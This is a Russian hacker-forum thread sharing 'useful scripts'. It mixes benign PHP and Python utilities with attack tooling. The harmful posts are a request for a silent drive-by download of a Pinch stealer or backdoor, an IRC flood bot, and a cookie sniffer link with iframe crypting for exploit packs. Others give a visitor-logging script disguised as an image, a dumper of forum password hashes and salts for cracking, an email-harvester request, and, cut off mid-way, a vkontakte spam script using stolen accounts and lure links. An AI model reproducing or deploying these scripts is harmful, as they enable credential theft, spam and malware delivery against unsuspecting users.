/*** $addheaders - дополнительные заголовки, которые мы хотим установить ***/
/*** Возвращает запрос и устанавливает его как запрос по умолчанию. ***/

function get_header($service_uri,$page='',$data='',$method= 'GET',$cookie='',$ref='',$addheaders='')
{
if(!$page) $page=$this->addr;
$request="$method $service_uri HTTP/{$this->proto}\r\n";
$request.="Host: $page\r\n";
if($this->browser) $request.="User-Agent: {$this->browser}\r\n";
if($ref) $request.="Referer: $ref\r\n";

if($method=='POST')
{
$request.="Content-Type: application/x-www-form-urlencoded\r\n";
$request.="Content-Length: ".strlen($data)."\r\n";
}

if($this->connection==0)
{
$request.="Connection: close\r\n";
}
else
{
$request.="Keep-alive: {$this->keepalive}\r\n";
$request.="Connection: keep-alive\r\n";
}

if($addheaders)
$request.=$addheaders;

if($cookie)
$request.="Cookie: $cookie\r\n";

$request.="\r\n";

$request.=$data;

$this->request=$request;

return $request;
}


/*** Закрывает соединение ***/

function sclose()
{
return socket_close($this->sock);
}


/*** Возвращает последнюю ошибку работы с сокетами. ***/

function serr()
{
return socket_last_error($this->sock);
}
}

?>


Пример работы с классом:
<?php
/* скрипт получает страницу http://mail.ru через HTTP/1.1 и Connection: keep-alive. */

require_once("websock.php"); //подключение файла с классом

$s=new websock('mail.ru',80); //создание нового сокета: http://mail.ru:80

$s->set_connection(1,300); //keep-alive: 300
$s->set_proto('1.1'); //HTTP 1.1

$s->get_header('/'); //формируем заголовок для запроса к серверу (получаем корень http://mail.ru/)

$s->swrite(); //пишем его в сокет

$ret=$s->http11read(); //универсальная функция чтения из сокета, неважно, какие заданы параметры подключения. Читаем всё возвращённое содержимое.

print $ret[1]; //$ret[0] - заголовки, $ret[1] - содержимое

$s->sclose(); //закрываем соединение
?>

d_x
27.05.2008, 21:54
Обновил класс из предыдущего поста, теперь можно удобно работать с прокси.

Код класса:
<?php
/* WEBsock class by DX */

class websock
{
/*все переменные private*/
var $sock;
var $connection=0;
var $keepalive=300;
var $request='';
var $browser='Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0';
var $proto='1.0';
var $addr='';
var $success=0;
var $proxy='';
var $pport=0;
var $port=0;
var $s_addr='';
var $s_port=0;


/*** Конструктор. $addr - адрес или IP сайта, $port - порт. ***/

function websock($addr,$port=80)
{
if(!function_exists('socket_create'))
return;

$this->addr=$addr;
$this->s_addr=$addr;
$this->s_port=$port;

if(!preg_match("/^(\d{1,3}\.){3}\d{1,3}$/",$addr))
$addr=gethostbyname($addr);

if(!$addr) return;

$this->sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);

if(!$this->sock)
return;

$this->success=1;
}


/*** Подключает сокет (через прокси или напрямую). ***/

function sconnect()
{
if($this->proxy)
{
if(!socket_connect($this->sock,$this->proxy,$this->pport)) return;
}
else
{
if(!socket_connect($this->sock,$this->s_addr,$this->s_port)) return;
}

if(!socket_set_nonblock($this->sock)) return;
}


/*** Устанавливает прокси с ip $addr и портом $port. ***/

function set_proxy($addr,$port)
{
$this->proxy=$addr;
$this->pport=$port;
}


/*** Проверка успешности создания сокета и подключения к нему. ***/

function check_success()
{
return $this->success;
}


/*** Запись в сокет. $data - данные для записи в сокет. Возвращает число байт, записанных в сокет. Если $data не указано, то будет записаны заголовки, созданные функцикей get_header() (см. ниже). ***/

function swrite($data='')
{
if(!$data) $data=$this->request;

if(socket_select($r=NULL,$w=array($this->sock),$f=NULL,5)!=1)
return false;

return socket_write($this->sock,$data);
}


/*** Чтение $bytes байт из сокета. Возвращает считанный контент. ***/

function sread($bytes)
{
if(socket_select($r=array($this->sock),$w=NULL,$f=NULL,5)!=1)
return false;

return socket_read($this->sock,$bytes);
}


/*** Чтение из сокета всего доступного содержимого. Эта функция не работает с HTTP/1.1. $stepbytes - сколько байтов считывать за раз. Возвращает считанный контент. ***/

function sreadfull($stepbytes=128)
{
$reading='';

while(($ret=$this->sread($stepbytes))!='')
{
$reading.=$ret;
}

$reading=$this->get_content_headers($reading);

return $reading;
}


/*** Установка типа соединения. $conn==0 - close, $conn==1 - keep-alive; $keepalive - время поддержки соединения. ***/

function set_connection($conn=0,$keepalive=300)
{
$this->connection=$conn==0 ? 0 : 1;
$this->keepalive=$keepalive;
}

function set_proto($proto='1.0') //set 1.0 or 1.1
{
$this->proto=$proto;
}


/*** Универсальная функция чтения из сокета, читает правильно независимо от типа соединения. Возвращает массив: $c[0] - заголовки, $c[1] - содержимое ***/

function http11read($stepbytes=128)
{
$c=$this->sreadfull($stepbytes);

if(strpos($c[0],'Transfer-Encoding: chunked')!==false)
return array($c[0],$this->remove_lengths($c[1]));
else
return $c;
}


/*** Получение cookies из заголовка ответа сервера и представление их в виде, удобном для вставки в заголовок Cookie. ***/
/*** $header - заголовок ответа сервера; $ret==0 - будет возвращена строка для заголовка Cookie, $ret==1 - будет возвращён массив cookies. ***/

function get_cookie($header,$ret=0)
{
preg_match_all('/Set-Cookie: (.+);/iUs',$header,$cook);
if(!isset($cook[1])) return $ret==0 ? '' : array();

$carr=array_unique($cook[1]);

$cookies=implode('; ',$carr);
return $ret==0 ? $cookies : $carr;
}


/*** Обрабатывает страницу с Transfer-encoding: chunked. Возвратит страницу без разбиений. ***/

function remove_lengths($res)
{
$len=1;
$nlen=0;
$curlen=0;
$ret='';

$tmp=explode("\r\n",$res);

foreach($tmp as $line)
{
if($len==1)
{
if($line=="\r\n")
{
$ret.=$line."\r\n";
continue;
}

$nlen=base_convert($line,16,10);
if($nlen==0) continue;
$len=0;
$curlen=0;
continue;
}

$curlen+=strlen($line."\r\n");

$ret.=$line."\r\n";

if($curlen>=$nlen)
{
$len=1;
continue;
}
}

return $ret;
}


/*** Разбивает полученные данные на заголовок и содержимое. $res - весь контент. Возвратит массив: $ret[0] - заголовки, $ret[1] - содержимое. ***/

function get_content_headers($res)
{
$ret=explode("\r\n\r\n",$res,2);
return $ret;
}


/*** Устанавливает виртуальный браузер. ***/

function set_browser($browser='Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0')
{
$this->browser=$browser;
}


/*** Формирует заголовки для записи в сокет. ***/
/*** $service_uri - SERVICE_URI. Например, для http://site.com/aaa/bbb.php это /aaa/bbb.php ***/
/*** $page - страница. Для примера выше это site.com. Если сокет был создан как new websock('site.com'), то страницу можно не указывать. Если же как new websock('1.2.3.4'), то необходимо указывать. ***/
/*** $data - передаваемые скрипту данные (только для POST) ***/
/*** $method - GET/POST и т.д. ***/
/*** $cookie - cookies в виде строки ***/
/*** $ref - Referer ***/
/*** $addheaders - дополнительные заголовки, которые мы хотим установить ***/
/*** Возвращает запрос и устанавливает его как запрос по умолчанию. ***/

function get_header($service_uri,$page='',$data='',$method= 'GET',$cookie='',$ref='',$addheaders='')
{
if(!$page) $page=$this->addr;

if($this->proxy)
$request="$method http://{$this->s_addr}:{$this->s_port} HTTP/{$this->proto}\r\n";
else
$request="$method $service_uri HTTP/{$this->proto}\r\n";

$request.="Host: $page\r\n";
if($this->browser) $request.="User-Agent: {$this->browser}\r\n";
if($ref) $request.="Referer: $ref\r\n";

if($method=='POST')
{
$request.="Content-Type: application/x-www-form-urlencoded\r\n";
$request.="Content-Length: ".strlen($data)."\r\n";
}

if($this->connection==0)
{
$request.="Connection: close\r\n";
}
else
{
$request.="Keep-alive: {$this->keepalive}\r\n";
$request.="Connection: keep-alive\r\n";
}

if($addheaders)
$request.=$addheaders;

if($cookie)
$request.="Cookie: $cookie\r\n";

$request.="\r\n";

$request.=$data;

$this->request=$request;

return $request;
}


/*** Закрывает соединение ***/

function sclose()
{
return socket_close($this->sock);
}


/*** Возвращает последнюю ошибку работы с сокетами. ***/

function serr()
{
return socket_last_error($this->sock);
}
}

?>

Пример получения страницы через прокси:
<?php
/* скрипт получает страницу http://myip.ru через HTTP/1.1 и Connection: keep-alive, используя прокси */

require_once("websock.php"); //подключение файла с классом

$s=new websock('myip.ru',80); //создание нового сокета: http://myip.ru:80


//впишите здесь рабочий прокси
$s->set_proxy('203.162.2.139','80'); //устанавливаем адрес прокси-сервера и порт (можно убрать эту строку, тогда прокси не будет использоваться)

$s->sconnect(); //подключаем сокет

$s->set_connection(1,300); //keep-alive: 300
$s->set_proto('1.1'); //HTTP 1.1

$s->get_header('/'); //формируем заголовок для запроса к серверу (получаем корень http://myip.ru/)

$s->swrite(); //пишем его в сокет

$ret=$s->http11read(); //универсальная функция чтения из сокета, неважно, какие заданы параметры подключения. Читаем всё возвращённое содержимое.

print $ret[1]; //$ret[0] - заголовки, $ret[1] - содержимое

$s->sclose(); //закрываем соединение
?>

BlackSun
01.06.2008, 06:40
Небольшой сниффер куков:
http://rapidshare.com/files/119211590/sniffer.rar

Простенький скрипт для кодирования-декодирования
{
Base64 Encode
Base64 Decode
URL Encode
URL Decode
MD5 Encode
SHA1 Encode
ASCII -> HEX
HEX -> ASCII
ASCII -> String.fromCharCode()
String.fromCharCode() -> ASCII
ASCII -> chr()
chr() -> ASCII
ASCII -> DEC
DEC -> ASCII
RUS -> Translit
ASCII -> Bin
Bin -> ASCII
ASCII -> 0xHEX
StrLength
CRC32 calc
URL -> iFrame (Level 0)
IFrame crupt (Level 2 [FirePack 0.18])
IFrame crupt (Level 2 [IcePack])
IFrame crupt (Level 3 [IcePack])
IFrame crupt [TORNADO Crupt]
/etc/passwd -> login;login
}
Делал каг панельку для оперы, поэтому style="width:100%"
http://rapidshare.com/files/119213017/www.rar

Daro
02.06.2008, 03:46
Кто небудь выложите скрипт ( php ) при помщи которого можно произвести анонимную загрузку фаила! Или кто может подправте мой!

<?php
$ref=$_SERVER['QUERY_STRING'];
if ($ref!='') $ref='?'.$ref;
header('Location: http://*********.$ref);
exit();

Этот скрипт грузит но толко выскакивает окно (dowlad или скачать)
Помогите усовершенствовать этот скрипт чтоб пройдя по сылке человек даже не заподозрил что он что-то скачал и запустил например Пинч или какой небудь BackDoor!
Или выложите пожалуста свой!
Зарание Спасибо!

Sharky
02.06.2008, 11:23
Кто небудь выложите скрипт ( php ) при помщи которого можно произвести анонимную загрузку фаила! Или кто может подправте мой!

<?php
$ref=$_SERVER['QUERY_STRING'];
if ($ref!='') $ref='?'.$ref;
header('Location: http://*********.$ref);
exit();

Этот скрипт грузит но толко выскакивает окно (dowlad или скачать)
Помогите усовершенствовать этот скрипт чтоб пройдя по сылке человек даже не заподозрил что он что-то скачал и запустил например Пинч или какой небудь BackDoor!
Или выложите пожалуста свой!
Зарание Спасибо!
обсуждалось много раз..ищи под каждый брауезер свой сплойт...иначе не сделаешь ты ничего подобного

-Hormold-
03.06.2008, 21:09
Irc фулд бот...

<?
set_time_limit(0);
$botname="Boot2Flood"; //ниг бота
$channel="#123"; //chanell
$address="localhost"; //irc server
$port="6667"; //port
$pass=""; //пасс но он тут врятле пригодиццо
$hellomsg="ВЫПЕЙ иаДУ :\\"; //флудо месага
$baduser="#123"; //это нехароший канал или юзверь
$s=fsockopen($address, $port) or die("FATAL: Cannot connect to $address:$port");
fputs($s, "USER bot no no :$botname\r\n");
fputs($s, "NICK :$botname\r\n");
fputs($s, "IDENTIFY :$pass\r\n");
fputs($s, "JOIN $channel\r\n");
fputs($s, "PRIVMSG $channel :".chr(1)."ACTION педоратор $baduser детектед преступаю к флудерастенгу!".chr(1)."\r\n");
while(true){
fputs($s, "PRIVMSG $baduser :".chr(1)."ACTION $hellomsg".chr(1)."\r\n"); //цикл с флудом =)
sleep(1);
}

?>

BlackSun
03.06.2008, 21:14
Irc фулд бот...
Без проксей и под 1м ником будет забанен через пару секунд автоматом ..

Shadow_p1raT
05.06.2008, 15:43
PHP-Getting
Что нового:
1. Сделаны галки в менеджере.
2. Возможность добавления комментариеви сохранение ссылок.
3. Переименовывание в файл-менеджере
4. Добалены getfile.biz, webfile.ru, slil.ru / zalil.ru.
5. Заново исправлена почтовая функция ;-) Надеюсь в последний раз...

Описание:
Скрипт умеет сливать файлы с rapidshare.de, www.megaupload.com, www.upload2.net, www.mytempdir.com, getfile.biz, webfile.ru, slil.ru или zalil.ru, по прямым ссылкам, включая ftp (с возможностью авторизации), плюс умеет разбивать файлы на части и отправлять их на почтовый ящик. И ещё имеет удобный менеджер скаченных файлов для проведения операций над ними.

НАСТРОЙКА:
1). Создайте папку на сервере, выставьте на неё права (chmod) 777.
2). Залейте в папку скрипт и используйте по назначению ;)
Ссылки:
http://slil.ru/25867346
http://dump.ru/file_catalog/442257

Talisman
14.06.2008, 13:13
Описание:
Скрипт для генерации последовательности печати "книжкой"
<?
$sheets=14; // число листов в буклете
$l=1;
$r=$sheets*4;
for($k=1;$k<=$sheets;$k++)
{
// echo "Sheet ".$k." :<br>";
// echo "side 1: ". $l ." & ". $r ."<br>";
echo $r.','.$l.','; // для печати 1 стороны
$l++;
$r--;
// echo "side 2: ". $l ." & ". $r ."<br>";
//echo $r.','.$l.','; // для печати 2 стороны // расскоментить по очереди
$l++;
$r--;
}

либо генерирует последовательность, либо системными вызовами переименовывает странички, чтобы из них собрать единый пдф для печати.

ИМХО: шпоры хорошо печатает :)))

otmorozok428
16.06.2008, 20:08
114 Power Scripts - набор из 114 CGI-скриптов. На некотором сайте продаётся за 9,99$ :) Для тех кто занимается сайтостроением и SEO подборочка будет однозначно незаменима...

Льём отсюда (http://depositfiles.com/files/6020969) .

В архиве есть подробное описание на все скрипты, здесь пишу только названия:

401 Neutralizer Password Hurler Blocker
Affiliate Ad Rotator
Agents of Fortune
Agents Unlimited
Agents of Fortune Professional
All Whois
Anypage - Documentation inside tarball
Automark
Autonic
Automatic Useradd
Automatic MYSQL Backup
Autopopper Secure Email Attatchment System
Autoresponder System
Autothumb
Adult Verification System
Nightly Backup
Superfast Banner Rotator
Bannergate
Batch Credit Card Processor
Blackwidow Spider
IBILL Broker
CGI Spammer Jammer
Chameleon
Clicktraders Link Exchange
Clickblaster
Cyberstash
Database
Data Extractor
Dbay Auction Software
DNS Research Tool
Domain Name Popularity Scanner - Dox inside tarball
Domain Stalker
Free For All Link Network
Remote FTP Server
Form Mail Replicator
Password Hurler
Fake Crontab - Documentation inside Tarball
HTML Parser
HTMLOCK
HTML Rotator
IBILL Processor
Installment Plan
Keyword Harvester
Landmine Data Mining Blocker
Linksorter
Magic 8 Ball
Mailman
Mail Jacker
Mastergate
Matchmasters
Matchmasters Professional
Microcities
Micro Email Extractor
Microsearch
MIMEMailer
MimeMailer II
Multiple Domain Host
Password Nazi
Newswire
Newsbot
On Hold Domain Scanner
Opt In Pro
PC Authorize Gateway
Perl Script Decrypter
Portal Analyzer
Regular Expression Filter
Replicating Guestbook
Revshare Toolkit
Revshare Professional
Sales Lead Affiliates
Sales Lead Generator
Simple Safelist
Site Search Pro
Slot Machine
Spam Killer
Super Spider
Stealth Server
Supercart
Superchat
Supercloaker
Superclix
Superclix Professional
Superfetch
Supergate
Supermall
Super Sorter
Superstats DONT BUY WEB TRENDS!
Super Whois
Topsites Professional
Form Mail 2000
Bandwidth Valve
Usenet Autoresponder (documentation included in download file)
Virtual Telnet
Vterm Credit Card Processor
Wahoo Search Engine Promoter
Whois Data Parser
Wormburner (documentation included in download file)
Xtractor PRO

real_kas
18.06.2008, 12:43
<?
/**
небольшой php-скрипт, который записывает все посещения страницы в лог файл
автор не я, но честно не помню кто..
*/

$query = @$_SERVER['QUERY_STRING'];
if ($query == "" or !ereg("^loged=1", $query))
{
$get_time = date("d.m.Y (H:i:s)", time());
$get_ip = getenv("REMOTE_ADDR");
$get_browser = getenv("HTTP_USER_AGENT");
$get_port = getenv("REMOTE_PORT");
$get_connect = $_SERVER['HTTP_CONNECTION'];
$get_host = gethostbyaddr(getenv("REMOTE_ADDR"));
$get_referer = @$_SERVER['HTTP_REFERER'];
$fopen = fopen ("log.txt", "a+");
fputs ($fopen, "\n---------- Detected at $get_time--------------\n");
fputs ($fopen, "IP: $get_ip\n");
fputs ($fopen, "Browser: $get_browser\n");
fputs ($fopen, "Port: $get_port\n");
fputs ($fopen, "Host: $get_host\n");
fputs ($fopen, "Connection: $get_connect\n");
fputs ($fopen, "Referer: $get_referer\n");
fclose ($fopen);
die("");
}
else if (ereg("^loged=1", $query))
{
$fopen = fopen ("log.txt", "a+");
foreach ($_GET as $key => $value)
fputs ($fopen, "$key $value");

fclose ($fopen);
header ('Content-type: image/jpeg');
die (readfile("real_photo.jpg"));
}
?>

Fluxoid
19.06.2008, 15:22
очень простой Proxy Judge (судья, типа) начинающему
<?php
echo "<b>ProxyJudge V1.0.0</b><br>";
echo "<pre>\n";
echo "HTTP_ACCEPT = ".$_SERVER['HTTP_ACCEPT']."\n";
echo "HTTP_ACCEPT_CHARSET = ".$_SERVER['HTTP_ACCEPT_CHARSET']."\n";
echo "HTTP_ACCEPT_LANGUAGE = ".$_SERVER['HTTP_ACCEPT_LANGUAGE']."\n";
echo "HTTP_CONNECTION = ".$_SERVER['HTTP_CONNECTION']."\n";
echo "HTTP_HOST = ".$_SERVER['HTTP_HOST']."\n";
echo "HTTP_USER_AGENT = ".$_SERVER['HTTP_USER_AGENT']."\n";
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
echo "HTTP_X_FORWARDED_FOR = ".$_SERVER['HTTP_X_FORWARDED_FOR']."\n";
}
if(isset($_SERVER['HTTP_VIA'])){
echo "HTTP_VIA = ".$_SERVER['HTTP_VIA']."\n";
}
echo "REMOTE_ADDR = ".$_SERVER['REMOTE_ADDR']."\n";
echo "REMOTE_PORT = ".$_SERVER['REMOTE_PORT']."\n";
echo "REQUEST_METHOD = ".$_SERVER['REQUEST_METHOD']."\n";
echo "REQUEST_URI = ".$_SERVER['REQUEST_URI']."\n";
echo "\n</pre>";
?>
геолокейшн на perl (может кому пригодится,
сам использую для различного таргетинга, лукапа прокси и пр., скрин работы - http://caco-daemon.ueuo.com/a.html)
перл-модуль лежит здесь:
http://ppm4.activestate.com/MSWin32-x86/5.10/1002/Geo-IP2Location.ppd
база-данных здесь:
http://www.ip2location.com/developers.aspx
ограничение бесплатной базы:
IP от 0.0.0.0 до 99.255.255.255
use bytes;
use Net::hostent;
use Geo::IP2Location;

sub get_geoloc(){
my $host="";
if(defined($_[0])){
$host=$_[0];
}else{
return 0;
}
my $ip=0;
if($host !~ /^(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9])\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[0-9])$/i){
print "resolving $host: ";
unless($h=gethost($host)){
warn "no such host: $host\n";
return 0;
}
$ip=inet_ntoa($h->addr);
print "$ip\n";
}else{
$ip=$host;
}
# путь к базе данных
# сменить, естественно
my $geodb="c:\\strawberry\\perl\\site\\lib\\auto\\Geo\\IP2Loc ation\\IP-COUNTRY-REGION-CITY-LATITUDE-LONGITUDE-ZIPCODE-TIMEZONE-ISP-DOMAIN-NETSPEED-SAMPLE.BIN";
my $obj=Geo::IP2Location->open($geodb) or print "geolocation disabled\n";
unless($obj != 0){ return 0; }
my @info=$obj->get_all("$ip"); my $n=0;
print "*--------------------*\n";
foreach $dt (@info){
if($dt =~ "INVALID"){
print "got wrong IPv4 address\n";
return 0;
}
if($dt eq "??"){
print "no information about $ip\nfree database limitations :(\n";
return 0;
}
if($dt !~ "unavailable" and $n ne 0 and length($dt) > 0){
# печатаем всё, кроме шорт-кода страны
print "$dt";
}
$n++;
}
print "\n";
print "*--------------------*\n";
return @info;
}
если видел кто полную версию геоип базы (от ip2location) по торрентам/рапидам - сообщите ;)
писал как-то геолок на php (maxmind) + автоген google карты, если кому надо - поищу, скину.

inlanger
24.06.2008, 15:59
А на пыхе забацаешь такой? Появилась необходимость фильтровать несколько стран...

Уже нашёл...
Если кому надо: ТЫЦ (http://www.phpclasses.org/browse/package/3813.html)

Дикс
25.06.2008, 13:20
раз есть тема "полезные скрипты", значит быть ему здесь.
а если удалят - то знач Исис таки превышает полномочия

вот тут, собственно бесплатный javascript mp3grabber для vkontakte.ru
http://3453620.livejournal.com/15421.html

добавив его в свой браузер, вы сможете видеть прямые ссылки на музыку, выложенную вконтакте, на той же самой странице, под левым меню.
всё очень просто.

по ссылке дано подробное описание установки и использования.

AdReNa1!Ne
26.06.2008, 14:38
Недавно возникла необходимость для себя написать скрипт, удаляющий дупликаты. Кому надо - забирайте.
<?
$file_in = file("file_in.txt");
$a = count($file_in);
$strings = array_unique(File("file_in.txt"));
$file_out = fopen("file_out.txt", "w");
fwrite ($file_out,implode("",$strings));
$file = file("file_out.txt");
$b = count($file);
fclose($file_out);
$c = $a - $b;
echo ("После удаления дупликатов осталось $b строк. Дупликатов - $c")
?>

GrAmOzEkA
26.06.2008, 17:23
Получение id:hash:salt:mail из БД IPB для импорта в PasswordsPro :D

<?php

//Настойка

$host = 'localhost'; //хост
$login = 'login'; // логин БД
$passw = 'password'; // пароль БД
$dbase = 'forum_db'; // БД
$table = 'ibf_members_converge'; //таблица БД IPB

//подключаемся к серверу

$link = mysql_connect($host,$login,$passw);
mysql_select_db($dbase,$link);

//получаем список id:hash:salt:email

$result_hash = mysql_query("SELECT converge_id,converge_pass_hash,converge_pass_salt, converge_email FROM $table");
while ($row = mysql_fetch_array($result_hash, MYSQL_ASSOC)) {
printf ("%s:%s:%s:%s<br />", $row["converge_id"],$row["converge_pass_hash"], $row["converge_pass_salt"],$row["converge_email"]);}

?>

acdel
29.06.2008, 01:28
Занимаюсь спутниковой рыбалкой. Падает с неба уйма *.html.
Нужен скриптик (граббер мыл)с таким вот ТЗ:
- открывать все файлы в текущей дире и выдирать мыльники
- мыльники сохранять в файло по домену типа (user@domen.txt)
- исключить дублирование
- все провереное файло удалять
- работа в цикле без останова

Если кто напишет такое чудо отблагодарю жирной базой :)))

alextoun
29.06.2008, 20:14
идёт продвижение по питону
#!/usr/bin/env python
from Tkinter import *
import random

def rand():
mystring = ("A","B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", \
"N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", \
"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", \
"n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", \
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9")
try:
num = int(entry.get())
except:
textbox.insert(END, "Failed recieving Length Value\n\n")

r = ''.join(random.sample(mystring, num))
textbox.insert(END, r + "\n\n")

def clear():
try:
textbox.delete(0.0, END)
except:
textbox.insert(END, "Unable to Clear Data\n\n")


root = Tk()
root.title("generator paroley")

frame = Frame(root)
entry = Entry(frame)
label = Label(frame, text="kol-vo simvolop v parole")
label.pack(side=LEFT)
entry.pack(side=LEFT)
button = Button(frame, text="Go", command=rand)
button.pack(side=LEFT)
label=Label(frame, text="by alextoun")
label.pack(side=RIGHT)

button2 = Button(frame, text="Del", command=clear)
button2.pack(side=LEFT)

frame.pack()
frame2 = Frame(root)
textbox = Text(frame2)
textbox.pack(side=LEFT, fill=BOTH, expand=TRUE)
frame2.pack(expand=TRUE, fill=BOTH)
root.mainloop()

Solker
29.06.2008, 22:14
Занимаюсь спутниковой рыбалкой. Падает с неба уйма *.html.
Нужен скриптик (граббер мыл)с таким вот ТЗ:
- открывать все файлы в текущей дире и выдирать мыльники
- мыльники сохранять в файло по домену типа (user@domen.txt)
- исключить дублирование
- все провереное файло удалять
- работа в цикле без останова

Если кто напишет такое чудо отблагодарю жирной базой :)))

Это элементарно, база врятле кому нужна.
А тебе будет не лишни например выучить PHP.

pento
29.06.2008, 22:15
идёт продвижение по питону

Имхо, для GUI лучше ООП. В смысле классом оформить =)
Да, тк как всегда ужасен на вид.

alextoun
29.06.2008, 22:23
Имхо, для Gui лучше ООП. В смысле классом оформить =)
Да, тк как всегда ужасен на вид.
извини это написанно после 20 минут чтениея мана по Tk
впринципе там всё элементарно

iron-viper
01.07.2008, 16:30
Кто качал сайты прогами Teleport Pro или Offline Explorer Enterprise . Тот наверное сталкивался с тем что конечные файлы получаются с расшерением к примеру ".php@id=news&new=2406200402&print=1"
Обработать пхп в таких файлах врядли получится, я пытался хтаксесс заставить это сделать ничего не вышло. Но если у Вас пару файлов то это не беда но если их кол-во переваливает за 100 то уже влом руками править ссылки. И был написан вот такой скрипт :

1. Скрпт находит все файлы с "кривыми расширениями"
2. Правит в них все линки, заменяя окончание на .php
например было
index.php@id=news&new=2406200402&print=1
стало
index_id=news&new=2406200402&print=1.php
3. Перебивает все имена файлов по принципу пункта "2"
4. Удаляет кривые файлы и осталяет нужные


<?

$start_dir = "123"; //сюда пишем директорию в которой будем искать и заменять


$FILES = array();
function found_directory($dirname) {
global $FILES;
if (is_dir($dirname)){
$dir_handle = opendir($dirname);
}
if (!$dir_handle){return false;}
while($file = readdir($dir_handle)) {
if ($file != "." && $file != "..") {
if (!is_dir($dirname."/".$file)){
if (preg_match('/(?:index\\.php[@](.*))|(?:(.*).html?)/', $file)) {
$FILES[] = $dirname."/".$file;
}
}else{
found_directory($dirname.'/'.$file);
}
}
}
closedir($dir_handle);
return true;
}


found_directory($start_dir);
//print_r($FILES);
set_time_limit(0);

foreach($FILES as $file_n){
$cont=file_get_contents($file_n);
$cont = preg_replace('~href=("|\')?([-\\w\\\\\\/_ .!@#$%\\^&*]*)\\.php@([-a-zA-Z0-9=@_!#$%*\\(\\)&]*)("|\')?~', 'href=$1$2_$3.php$4', $cont);
$cont = preg_replace('/href=("|\')?(.*)\\.html?("|\')?/', 'href=$1$2.php$3', $cont);

$f_n = preg_replace('~([-\\w\\\\\\/_ .!@#$%\\^&*]*)\\.php@([-a-zA-Z0-9=@_!#$%*\\(\\)&]*)~', '$1_$2.php', $file_n);
$f_n = preg_replace('/(.*)\\.html?/', '$1.php', $f_n);

$handle = fopen($f_n, 'w');

fwrite($handle, $cont);
fclose($handle);
unlink($file_n);


echo($file_n." ($f_n)<br>");
}


?>




Мини-инструкция:
кидаем весь сайт например в директория "123"
рядом с ней кидаем файл скрипта и запускаем.
все ждем окончания.

Юзайте кому надо. ;)

zer0ska
02.07.2008, 15:11
ZerIpgen
ZerIpgen это php скрипт который создает список ip заданного диапазона. работает он из коносоли.

пример запуска

php ZerIpgen.php -s 192.168.0.1 -e 192.168.0.4

Name: ZerIpGen
Wersion: 1.1
OS: Unix, windows
Download: http://zerolab.ru/news/reliz-zeripgen-genirator-ip-listov.html
Autor: Zer0
Site: http://zerolab.ru

Piflit
02.07.2008, 15:14
Wersion: 1.1
ususus

Solker
02.07.2008, 15:17
zer0ska
Ты помойму на оформление потратил больше времени, чем на весь код =)

cash$$$
03.07.2008, 02:15
С каждым днем наблюдается стремительный рост сервисов, например сайт вконтакте.ру и является самым посещаемым, поэтому подобные сервисы можно смело рассматривать как перспективное средство для массовых рассылок.
[ Реализация ]
Зададим необходимые константы и тексты писем (достаточно 2 варианта писем):
<? ///////////////////////// // vkontakte-friends spam // vspam.php // (C) diehard ///////////////////////// $accsfile = "accs.txt"; $logsfile = "logs.txt"; $host = "vkontakte.ru"; $urlfriends = "/friend.php"; // страница, откуда будем парсить френдов $urlmail = "/mail.php"; // страница, откуда будем парсить secure-код и рассылать мессаги $title[] = "Привет!"; $title[] = "Доброго времени дня!"; $message[] = "Как поживаешь? не могу разобраться как тут загружать новые фотки, а здесь http://formyfriends111.narod.ru/ давно собраны мои забавные фотки для друзей :)))"; $message[] = "привет! Как твои дела? не могу никак разобраться как загружать тут новые фотки, здесь http://formyfriends111.narod.ru/ давно собраны мои самые забавные фотки для друзей :-)";
функции для скачки страницы, записи логов и отправки мессаги.
Нужно отметить: чтобы отправить сообщение от юзера А юзеру Б нужно знать secure-код безопасной отправки (тоже видимо такая "защита"), который вычисляется на сервере и прописывается в скрытом input-е на самой странице отправки. Поэтому перед отправкой сперва загружаем эту страницу, парсим оттуда secure-код и подставляем его в запрос.
set_time_limit(0); function GetPage($domain, $path, $cookie) { $hostname = gethostbyname($domain); $responce = ""; $errnum=0;$errstr=""; $fsock = fsockopen($hostname,80,$errnum,$errstr,5); if(!$fsock) { return 0; } $headers = "GET $path HTTP/1.0\r\n". "Host: $domain\r\n". "User-Agent: Mozilla/5.0\r\n". "Accept: */*\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "$cookie". "Connection: close\r\n". "\r\n"; fwrite($fsock,$headers); while(!feof($fsock)) { $responce .= fread($fsock,1024); } fclose ($fsock); return $responce; } // статус работы будем выводить в отдельный DIV function SetStatus($status){ echo "<script>document.getElementById('statusDiv').innerHTML='$s tatus';</script>"; } // лог пишем в файл и по желанию в отдельный DIV (раскоментить echo) function SetLog($logmsg){ $fp=@fopen($GLOBALS["logsfile"], "a"); fwrite($fp, $logmsg."/r/n"); fclose($fp); //echo "<script>document.getElementById('logDiv').innerHTML = '".$logmsg."<br>'+ document.getElementById('logDiv').innerHTML;</script>"; SetStatus($logmsg); } function SendMail($from_id, $to_id, $t, $msg){ SetLog("SendMail $from_id:$to_id:$t:$msg"); // достаём secure $mailpage = GetPage($GLOBALS["host"], $GLOBALS["urlmail"]."?act=write&to=".$to_id, $GLOBALS["logincookies"][$from_id]); preg_match_all('/name="secure" value="(\w+)/', $mailpage, $mailsecure); foreach ($mailsecure[1] as $sss) {$secure=$sss;} SetLog("Parsed secure-code from ".$from_id." to ".$to_id.": ".$secure); // формируем post-запрос отправки $post="secure=$secure&photo=&to_id=$to_id&to_reply=0&act=sent&title=$t&message=$msg"; $len = strlen($post); $query = "POST ".$GLOBALS["urlmail"]." 